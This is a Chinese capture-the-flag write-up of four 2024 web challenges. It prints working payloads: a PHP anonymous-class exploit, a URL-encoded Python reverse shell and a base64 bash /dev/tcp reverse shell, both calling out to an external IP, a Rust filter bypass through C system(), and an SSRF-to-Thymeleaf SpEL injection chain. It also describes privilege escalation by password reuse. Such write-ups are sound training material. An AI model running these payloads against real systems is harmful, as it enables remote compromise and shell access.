红明谷-2024-Web

ezphp

1
2
3
4
5
6
7
<?php  
highlight_file(__FILE__);  
// flag.php  
if (isset($_POST['f'])) {  
    echo hash_file('md5', $_POST['f']);  
}  
?>  

利用此篇文章的方法,读取文件
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
if (isset($_GET['ezphpPhp8'])) {  
    highlight_file(__FILE__);  
} else {  
    die("No");  
}  
$a = new class {  
    function __construct()  
    {  
    }  
  
    function getflag()  
    {  
        system('cat /flag');  
    }  
};  
unset($a);  
$a = $_GET['ezphpPhp8'];  
$f = new $a();  
$f->getflag();  
?>  

匿名类的利用
https://hi-arkin.com/archives/php-anonymous-stdClass.html
/flag.php?ezphpPhp8=class%40anonymous%00/var/www/html/flag.php%3A7%240

playground

访问/www.zip,得到

1
[2022-01-01 12:34:56]  Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036  

替换Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
利用readfile得到disable_function

1
eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink  

pcntl_exec没有被过滤,利用Python反弹shell

1
/?cmd=pcntl_exec('/usr/bin/python',['-c','%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%32%34%2e%32%32%30%2e%32%31%35%2e%38%22%2c%31%32%33%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%69%6d%70%6f%72%74%20%70%74%79%3b%20%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29']);  

但是flagadmin权限需要提权
config.inc.php里面发现密码,但是并没有开启相关服务,
/etc/passwd中发现admin用户,猜测可能密码复用,利用su进行提权

unauth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#[macro_use] extern crate rocket;  
  
use std::fs;  
use std::fs::File;  
use std::io::Write;  
use std::process::Command;  
use rand::Rng;  
  
#[get("/")]  
fn index() -> String {  
    fs::read_to_string("main.rs").unwrap_or(String::default())  
}  
  
#[post("/rust_code", data = "<code>")]  
fn run_rust_code(code: String) -> String{  
    if code.contains("std") {  
        return "Error: std is not allowed".to_string();  
    }  
    //generate a random 5 length file name  
    let file_name = rand::thread_rng()  
        .sample_iter(&rand::distributions::Alphanumeric)  
        .take(5)  
        .map(char::from)  
        .collect::<String>();  
    if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) {  
        file.write_all(code.as_bytes());  
    }  
    if let Ok(build_output) = Command::new("rustc")  
        .arg(format!("playground/{}.rs",&file_name))  
        .arg("-C")  
        .arg("debuginfo=0")  
        .arg("-C")  
        .arg("opt-level=3")  
        .arg("-o")  
        .arg(format!("playground/{}",&file_name))  
        .output() {  
        if !build_output.status.success(){  
            fs::remove_file(format!("playground/{}.rs",&file_name));  
            return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string();  
        }  
    }  
    fs::remove_file(format!("playground/{}.rs",&file_name));  
    if let Ok(output) = Command::new(format!("playground/{}",&file_name))  
        .output() {  
        if !output.status.success(){  
            fs::remove_file(format!("playground/{}",&file_name));  
            return String::from_utf8_lossy(output.stderr.as_slice()).to_string();  
        } else{  
            fs::remove_file(format!("playground/{}",&file_name));  
            return String::from_utf8_lossy(output.stdout.as_slice()).to_string();  
        }  
    }  
    return String::default();  
  
}  
  
#[launch]  
fn rocket() -> _ {  
    let figment = rocket::Config::figment()  
        .merge(("address", "0.0.0.0"));  
    rocket::custom(figment).mount("/", routes![index,run_rust_code])  
}  

限制了std,利用内联写C进行绕过

1
2
3
4
extern "C" {fn system(s: *const u8) -> i32;}  
fn main() {  
		unsafe{system(b"cat /flag" as *const u8)};  
}  

Simp1escape

CurlController下存在SSRF漏洞,但是限制了不能是本地IP,利用302跳转绕过
结合AdminController存在Thymelaef模版注入(只允许本地访问)
打一发模版注入漏洞
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/#chatterbox%EF%BC%88solved%EF%BC%89
exp.php

1
2
3
<?php  
header("Location:http://127.0.0.1:8080/getsites?hostname=%5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIwLjIxNS44LzEyMzQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')%22).getValue()%7D%5D%5D");  
?>  

/curl?url=http://ip:80/exp.php

0%